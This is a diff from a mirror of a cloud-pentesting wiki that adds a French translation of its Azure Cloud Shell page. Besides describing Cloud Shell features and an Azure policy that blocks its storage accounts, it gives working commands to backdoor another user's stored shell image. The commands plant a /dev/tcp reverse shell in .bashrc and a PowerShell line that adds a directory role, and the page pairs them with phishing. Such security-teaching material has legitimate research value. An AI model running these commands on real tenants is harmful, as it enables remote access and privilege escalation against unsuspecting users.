mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-27 07:14:20 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,25 +4,114 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** est un terminal interactif, authentifié et accessible via un navigateur, conçu pour gérer les ressources Azure, offrant la flexibilité de travailler avec Bash ou PowerShell. Il fonctionne sur un hôte temporaire, par session, qui expire après 20 minutes d'inactivité, tout en conservant les fichiers dans l'emplacement $HOME à l'aide d'un partage de fichiers de 5 Go. Cloud Shell peut être accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l'application mobile Azure, et l'extension Azure Account de Visual Studio Code.
|
||||
**Azure Cloud Shell** est un terminal interactif, authentifié et accessible via un navigateur, conçu pour gérer les ressources Azure, offrant la flexibilité de travailler avec Bash ou PowerShell. Il fonctionne sur un hôte temporaire par session qui expire après 20 minutes d'inactivité, tout en conservant les fichiers dans l'emplacement $HOME à l'aide d'un partage de fichiers de 5 Go. Cloud Shell peut être accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l'application mobile Azure, et l'extension Azure Account de Visual Studio Code.
|
||||
|
||||
Il n'y a pas de permissions assignées à ce service, donc il n'y a pas de techniques d'escalade de privilèges. De plus, il n'y a pas de type d'énumération.
|
||||
|
||||
### Key Features
|
||||
|
||||
**Environment**: Azure Cloud Shell fournit un environnement sécurisé en fonctionnant sur Azure Linux, la distribution Linux propre à Microsoft conçue pour l'infrastructure cloud. Tous les paquets inclus dans le dépôt Azure Linux sont compilés en interne par Microsoft pour se protéger contre les attaques de la chaîne d'approvisionnement.
|
||||
**Preinstalled Tools**: Cloud Shell inclut un ensemble complet d'outils préinstallés tels qu'Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des éditeurs de texte comme vim, nano, et emacs. Ces outils sont prêts à l'emploi. Pour lister les paquets et modules installés, vous pouvez utiliser "Get-Module -ListAvailable", "tdnf list" et "pip3 list".
|
||||
**$HOME persistence**: Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché. Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session. Pour conserver des fichiers entre les sessions, montez un compte de stockage, qui s'attache automatiquement en tant que **$HOME\clouddrive**, avec votre répertoire **$HOME** sauvegardé en tant que fichier **.img** dans Azure File Share. Cependant, les fichiers en dehors de $HOME et les états de machine ne sont pas conservés. Pour stocker en toute sécurité des secrets comme des clés SSH, utilisez Azure Key Vault.
|
||||
**Azure drive (Azure:)**: PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer les ressources depuis n'importe quel lecteur.
|
||||
**Custom Tool Installation**: Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplémentaires qui ne nécessitent pas de permissions root. Cette fonctionnalité permet une personnalisation supplémentaire de l'environnement Cloud Shell, permettant aux utilisateurs d'adapter leur configuration à leurs besoins spécifiques.
|
||||
- **Outils préinstallés** : Cloud Shell comprend un ensemble complet d'outils préinstallés tels que Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des éditeurs de texte comme vim, nano, et emacs. Ces outils sont prêts à l'emploi. Pour lister les paquets et modules installés, vous pouvez utiliser "Get-Module -ListAvailable", "tdnf list" et "pip3 list".
|
||||
- **Lecteur Azure (Azure:)** : PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer les ressources depuis n'importe quel lecteur.
|
||||
- **Installation d'outils personnalisés** : Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplémentaires qui ne nécessitent pas de permissions root. Cette fonctionnalité permet une personnalisation supplémentaire de l'environnement Cloud Shell, permettant aux utilisateurs d'adapter leur configuration à leurs besoins spécifiques.
|
||||
- **Persistance $HOME** : Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché.
|
||||
- Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session.
|
||||
- Pour persister les fichiers entre les sessions, vous avez la possibilité de **monter un compte de stockage**, qui s'attache automatiquement en tant que `$HOME\clouddrive`, avec votre répertoire `$HOME` **sauvegardé sous forme de fichier .img dans un partage de fichiers.**
|
||||
|
||||
## References
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Si un attaquant trouve d'autres images d'utilisateurs dans un compte de stockage auquel il a accès en écriture et en lecture, il pourra télécharger l'image, **ajouter un backdoor bash et PS dedans**, et la télécharger à nouveau dans le compte de stockage afin que la prochaine fois que l'utilisateur accède au shell, les **commandes seront automatiquement exécutées**.
|
||||
|
||||
- **Télécharger, backdoor et uploader l'image :**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Ensuite, hameçonner l'utilisateur pour accéder à https://shell.azure.com/**
|
||||
|
||||
|
||||
### Trouver et interdire les comptes de stockage automatiques de Cloud Shell
|
||||
|
||||
Les comptes de stockage créés par Cloud Shell sont étiquetés avec **`ms-resource-usage:azure-cloud-shell`**. Il est possible de créer une politique de ressources Azure qui désactive la création de ressources avec cette étiquette.
|
||||
|
||||
Trouvez tous les comptes de stockage créés par Cloud Shell par étiquettes :
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Politique interdisant la création de comptes de stockage automatiques pour le stockage de cloud shell en fonction des balises :
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
## Persistence
|
||||
|
||||
## Persistance
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user